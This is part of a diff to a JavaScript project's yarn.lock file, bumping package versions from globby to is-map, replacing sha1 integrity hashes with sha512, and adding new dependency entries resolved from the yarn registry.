+  integrity sha512-KVbFv2TQtbzCoxAnfD6JcHZTYCzyliEaaeM/gH8qQdkKr5s0OP9scEgvdcngyk7AVdY6YVW/TJHd+lQ/Df3Daw==
   dependencies:
     array-union "^1.0.1"
     glob "^7.0.3"
@@ -1447,37 +1785,68 @@ globby@^6.1.0:
     pify "^2.0.0"
     pinkie-promise "^2.0.0"
 
+gopd@^1.0.1, gopd@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1"
+  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
+
 graceful-fs@^4.1.2:
-  version "4.2.4"
-  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.4.tgz#2256bde14d3632958c465ebc96dc467ca07a29fb"
-  integrity sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==
+  version "4.2.11"
+  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3"
+  integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==
 
 has-ansi@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91"
-  integrity sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=
+  integrity sha512-C8vBJ8DwUCx19vhm7urhTuUsr4/IyP6l4VzNQDv+ryHQObW3TTTp9yB68WpYgRe2bbaGuZ/se74IqFeVnMnLZg==
   dependencies:
     ansi-regex "^2.0.0"
 
+has-bigints@^1.0.2:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.1.0.tgz#28607e965ac967e03cd2a2c70a2636a1edad49fe"
+  integrity sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==
+
 has-flag@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-2.0.0.tgz#e8207af1cc7b30d446cc70b734b5e8be18f88d51"
-  integrity sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=
+  integrity sha512-P+1n3MnwjR/Epg9BBo1KT8qbye2g2Ou4sFumihwt6I4tsUX7jnLcX4BTOSKg/B1ZrIYMN9FcEnG4x5a7NB8Eng==
 
 has-flag@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
-  integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
+  integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==
 
-has-symbols@^1.0.0, has-symbols@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.1.tgz#9f5214758a44196c406d9bd76cebf81ec2dd31e8"
-  integrity sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==
+has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
+  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
+  dependencies:
+    es-define-property "^1.0.0"
+
+has-proto@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.2.0.tgz#5de5a6eabd95fdffd9818b43055e8065e39fe9d5"
+  integrity sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==
+  dependencies:
+    dunder-proto "^1.0.0"
+
+has-symbols@^1.0.3, has-symbols@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338"
+  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
+
+has-tostringtag@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz#2cdc42d40bef2e5b4eeab7c01a73c54ce7ab5abc"
+  integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==
+  dependencies:
+    has-symbols "^1.0.3"
 
 has-value@^0.3.1:
   version "0.3.1"
   resolved "https://registry.yarnpkg.com/has-value/-/has-value-0.3.1.tgz#7b1f58bada62ca827ec0a2078025654845995e1f"
-  integrity sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=
+  integrity sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==
   dependencies:
     get-value "^2.0.3"
     has-values "^0.1.4"
@@ -1486,7 +1855,7 @@ has-value@^0.3.1:
 has-value@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/has-value/-/has-value-1.0.0.tgz#18b281da585b1c5c51def24c930ed29a0be6b177"
-  integrity sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=
+  integrity sha512-IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==
   dependencies:
     get-value "^2.0.6"
     has-values "^1.0.0"
@@ -1495,27 +1864,27 @@ has-value@^1.0.0:
 has-values@^0.1.4:
   version "0.1.4"
   resolved "https://registry.yarnpkg.com/has-values/-/has-values-0.1.4.tgz#6d61de95d91dfca9b9a02089ad384bff8f62b771"
-  integrity sha1-bWHeldkd/Km5oCCJrThL/49it3E=
+  integrity sha512-J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ==
 
 has-values@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/has-values/-/has-values-1.0.0.tgz#95b0b63fec2146619a6fe57fe75628d5a39efe4f"
-  integrity sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=
+  integrity sha512-ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==
   dependencies:
     is-number "^3.0.0"
     kind-of "^4.0.0"
 
-has@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
-  integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==
+hasown@^2.0.0, hasown@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
+  integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
   dependencies:
-    function-bind "^1.1.1"
+    function-bind "^1.1.2"
 
 hosted-git-info@^2.1.4:
-  version "2.8.8"
-  resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.8.tgz#7539bd4bc1e0e0a895815a2e0262420b12858488"
-  integrity sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==
+  version "2.8.9"
+  resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9"
+  integrity sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==
 
 husky@^1.3.1:
   version "1.3.1"
@@ -1551,22 +1920,22 @@ ignore@^4.0.6:
   integrity sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==
 
 ignore@^5.0.2:
-  version "5.1.4"
-  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.1.4.tgz#84b7b3dbe64552b6ef0eca99f6743dbec6d97adf"
-  integrity sha512-MzbUSahkTW1u7JpKKjY7LCARd1fU5W2rLdxlM4kdkayuCwZImjkpluF9CM1aLewYJguPDqewLam18Y6AU69A8A==
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.2.tgz#3cd40e729f3643fd87cb04e50bf0eb722bc596f5"
+  integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==
 
 import-fresh@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-2.0.0.tgz#d81355c15612d386c61f9ddd3922d4304822a546"
-  integrity sha1-2BNVwVYS04bGH53dOSLUMEgipUY=
+  integrity sha512-eZ5H8rcgYazHbKC3PG4ClHNykCSxtAhxSSEM+2mb+7evD2CKF5V7c0dNum7AdpDh0ZdICwZY9sRSn8f+KH96sg==
   dependencies:
     caller-path "^2.0.0"
     resolve-from "^3.0.0"
 
 import-fresh@^3.0.0:
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.2.1.tgz#633ff618506e793af5ac91bf48b72677e15cbe66"
-  integrity sha512-6e1q1cnWP2RXD9/keSkxHScg508CdXqXWgWBaETNhyuBFz+kUZlKboh+ISK+bU++DmbHimVBrOz/zzPe0sZ3sQ==
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.1.tgz#9cecb56503c0ada1f2741dbbd6546e4b13b57ccf"
+  integrity sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==
   dependencies:
     parent-module "^1.0.0"
     resolve-from "^4.0.0"
@@ -1574,17 +1943,17 @@ import-fresh@^3.0.0:
 imurmurhash@^0.1.4:
   version "0.1.4"
   resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
-  integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
+  integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==
 
 indent-string@^3.0.0, indent-string@^3.1.0, indent-string@^3.2.0:
   version "3.2.0"
   resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-3.2.0.tgz#4a5fd6d27cc332f37e5419a504dbb837105c9289"
-  integrity sha1-Sl/W0nzDMvN+VBmlBNu4NxBckok=
+  integrity sha512-BYqTHXTGUIvg7t1r4sJNKcbDZkL92nkXA8YtRpbjFHRHGDL/NtUeiBJMeE60kIFN/Mg8ESaWQvftaYMGJzQZCQ==
 
 inflight@^1.0.4:
   version "1.0.6"
   resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
-  integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
+  integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==
   dependencies:
     once "^1.3.0"
     wrappy "1"
@@ -1633,53 +2002,84 @@ inquirer@^6.2.2:
     strip-ansi "^5.1.0"
     through "^2.3.6"
 
-internal-slot@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.0.2.tgz#9c2e9fb3cd8e5e4256c6f45fe310067fcfa378a3"
-  integrity sha512-2cQNfwhAfJIkU4KZPkDI+Gj5yNNnbqi40W9Gge6dfnk4TocEVm00B3bdiL+JINrbGJil2TeHvM4rETGzk/f/0g==
+internal-slot@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.1.0.tgz#1eac91762947d2f7056bc838d93e13b2e9604961"
+  integrity sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==
   dependencies:
-    es-abstract "^1.17.0-next.1"
-    has "^1.0.3"
-    side-channel "^1.0.2"
+    es-errors "^1.3.0"
+    hasown "^2.0.2"
+    side-channel "^1.1.0"
 
 invert-kv@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/invert-kv/-/invert-kv-1.0.0.tgz#104a8e4aaca6d3d8cd157a8ef8bfab2d7a3ffdb6"
-  integrity sha1-EEqOSqym09jNFXqO+L+rLXo//bY=
+  integrity sha512-xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ==
 
-is-accessor-descriptor@^0.1.6:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz#a9e12cb3ae8d876727eeef3843f8a0897b5c98d6"
-  integrity sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=
+is-accessor-descriptor@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-1.0.1.tgz#3223b10628354644b86260db29b3e693f5ceedd4"
+  integrity sha512-YBUanLI8Yoihw923YeFUS5fs0fF2f5TSFTNiYAAzhhDscDa3lEqYuz1pDOEP5KvX94I9ey3vsqjJcLVFVU+3QA==
   dependencies:
-    kind-of "^3.0.2"
+    hasown "^2.0.0"
 
-is-accessor-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz#169c2f6d3df1f992618072365c9b0ea1f6878656"
-  integrity sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==
+is-arguments@^1.1.1:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.2.0.tgz#ad58c6aecf563b78ef2bf04df540da8f5d7d8e1b"
+  integrity sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==
   dependencies:
-    kind-of "^6.0.0"
+    call-bound "^1.0.2"
+    has-tostringtag "^1.0.2"
 
-is-arguments@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.0.4.tgz#3faf966c7cba0ff437fb31f6250082fcf0448cf3"
-  integrity sha512-xPh0Rmt8NE65sNzvyUmWgI1tz3mKq74lGA0mL8LYZcoIzKOzDh6HmrYm3d18k60nHerC8A9Km8kYu87zfSFnLA==
+is-array-buffer@^3.0.4, is-array-buffer@^3.0.5:
+  version "3.0.5"
+  resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.5.tgz#65742e1e687bd2cc666253068fd8707fe4d44280"
+  integrity sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    get-intrinsic "^1.2.6"
 
 is-arrayish@^0.2.1:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
-  integrity sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=
+  integrity sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==
+
+is-async-function@^2.0.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/is-async-function/-/is-async-function-2.1.1.tgz#3e69018c8e04e73b738793d020bfe884b9fd3523"
+  integrity sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==
+  dependencies:
+    async-function "^1.0.0"
+    call-bound "^1.0.3"
+    get-proto "^1.0.1"
+    has-tostringtag "^1.0.2"
+    safe-regex-test "^1.1.0"
+
+is-bigint@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.1.0.tgz#dda7a3445df57a42583db4228682eba7c4170672"
+  integrity sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==
+  dependencies:
+    has-bigints "^1.0.2"
+
+is-boolean-object@^1.2.1:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.2.2.tgz#7067f47709809a393c71ff5bb3e135d8a9215d9e"
+  integrity sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==
+  dependencies:
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
 
 is-buffer@^1.1.5:
   version "1.1.6"
   resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be"
   integrity sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==
 
-is-callable@^1.1.4, is-callable@^1.1.5:
-  version "1.1.5"
-  resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.1.5.tgz#f7e46b596890456db74e7f6e976cb3273d06faab"
-  integrity sha512-ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q==
+is-callable@^1.2.7:
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.7.tgz#3bc2a85ea742d9e36205dcacdd72ca1fdc51b055"
+  integrity sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==
 
 is-ci@^2.0.0:
   version "2.0.0"
@@ -1688,52 +2088,62 @@ is-ci@^2.0.0:
   dependencies:
     ci-info "^2.0.0"
 
-is-data-descriptor@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz#0b5ee648388e2c860282e793f1856fec3f301b56"
-  integrity sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=
+is-core-module@^2.13.0, is-core-module@^2.16.0, is-core-module@^2.16.1:
+  version "2.16.1"
+  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz#2a98801a849f43e2add644fbb6bc6229b19a4ef4"
+  integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==
   dependencies:
-    kind-of "^3.0.2"
+    hasown "^2.0.2"
 
-is-data-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz#d84876321d0e7add03990406abbbbd36ba9268c7"
-  integrity sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==
+is-data-descriptor@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.1.tgz#2109164426166d32ea38c405c1e0945d9e6a4eeb"
+  integrity sha512-bc4NlCDiCr28U4aEsQ3Qs2491gVq4V8G7MQyws968ImqjKuYtTJXrl7Vq7jsN7Ly/C3xj5KWFrY7sHNeDkAzXw==
   dependencies:
-    kind-of "^6.0.0"
+    hasown "^2.0.0"
 
-is-date-object@^1.0.1:
+is-data-view@^1.0.1, is-data-view@^1.0.2:
   version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.2.tgz#bda736f2cd8fd06d32844e7743bfa7494c3bfd7e"
-  integrity sha512-USlDT524woQ08aoZFzh3/Z6ch9Y/EWXEHQ/AaRN0SkKq4t2Jw2R2339tSXmwuVoY7LLlBCbOIlx2myP/L5zk0g==
+  resolved "https://registry.yarnpkg.com/is-data-view/-/is-data-view-1.0.2.tgz#bae0a41b9688986c2188dda6657e56b8f9e63b8e"
+  integrity sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==
+  dependencies:
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    is-typed-array "^1.1.13"
+
+is-date-object@^1.0.5, is-date-object@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.1.0.tgz#ad85541996fc7aa8b2729701d27b7319f95d82f7"
+  integrity sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==
+  dependencies:
+    call-bound "^1.0.2"
+    has-tostringtag "^1.0.2"
 
 is-descriptor@^0.1.0:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-0.1.6.tgz#366d8240dde487ca51823b1ab9f07a10a78251ca"
-  integrity sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==
+  version "0.1.7"
+  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-0.1.7.tgz#2727eb61fd789dcd5bdf0ed4569f551d2fe3be33"
+  integrity sha512-C3grZTvObeN1xud4cRWl366OMXZTj0+HGyk4hvfpx4ZHt1Pb60ANSXqCK7pdOTeUQpRzECBSTphqvD7U+l22Eg==
   dependencies:
-    is-accessor-descriptor "^0.1.6"
-    is-data-descriptor "^0.1.4"
-    kind-of "^5.0.0"
+    is-accessor-descriptor "^1.0.1"
+    is-data-descriptor "^1.0.1"
 
 is-descriptor@^1.0.0, is-descriptor@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-1.0.2.tgz#3b159746a66604b04f8c81524ba365c5f14d86ec"
-  integrity sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-1.0.3.tgz#92d27cb3cd311c4977a4db47df457234a13cb306"
+  integrity sha512-JCNNGbwWZEVaSPtS45mdtrneRWJFp07LLmykxeFV5F6oBvNF8vHSfJuJgoT472pSfk+Mf8VnlrspaFBHWM8JAw==
   dependencies:
-    is-accessor-descriptor "^1.0.0"
-    is-data-descriptor "^1.0.0"
-    kind-of "^6.0.2"
+    is-accessor-descriptor "^1.0.1"
+    is-data-descriptor "^1.0.1"
 
 is-directory@^0.3.1:
   version "0.3.1"
   resolved "https://registry.yarnpkg.com/is-directory/-/is-directory-0.3.1.tgz#61339b6f2475fc772fd9c9d83f5c8575dc154ae1"
-  integrity sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=
+  integrity sha512-yVChGzahRFvbkscn2MlwGismPO12i9+znNruC5gVEntG3qu0xQMzsGg/JFbrsqDOHtHFPci+V5aP5T9I+yeKqw==
 
 is-extendable@^0.1.0, is-extendable@^0.1.1:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89"
-  integrity sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=
+  integrity sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==
 
 is-extendable@^1.0.1:
   version "1.0.1"
@@ -1745,38 +2155,73 @@ is-extendable@^1.0.1:
 is-extglob@^2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
-  integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=
+  integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
+
+is-finalizationregistry@^1.1.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz#eefdcdc6c94ddd0674d9c85887bf93f944a97c90"
+  integrity sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==
+  dependencies:
+    call-bound "^1.0.3"
 
 is-fullwidth-code-point@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz#ef9e31386f031a7f0d643af82fde50c457ef00cb"
-  integrity sha1-754xOG8DGn8NZDr4L95QxFfvAMs=
+  integrity sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==
   dependencies:
     number-is-nan "^1.0.0"
 
 is-fullwidth-code-point@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz#a3b30a5c4f199183167aaab93beefae3ddfb654f"
-  integrity sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=
+  integrity sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==
 
-is-glob@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.1.tgz#7567dbe9f2f5e2467bc77ab83c4a29482407a5dc"
-  integrity sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==
+is-generator-function@^1.0.10:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-generator-function/-/is-generator-function-1.1.0.tgz#bf3eeda931201394f57b5dba2800f91a238309ca"
+  integrity sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==
+  dependencies:
+    call-bound "^1.0.3"
+    get-proto "^1.0.0"
+    has-tostringtag "^1.0.2"
+    safe-regex-test "^1.1.0"
+
+is-glob@^4.0.0, is-glob@^4.0.3:
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084"
+  integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
   dependencies:
     is-extglob "^2.1.1"
 
+is-map@^2.0.3:
+  version "2.0.3"
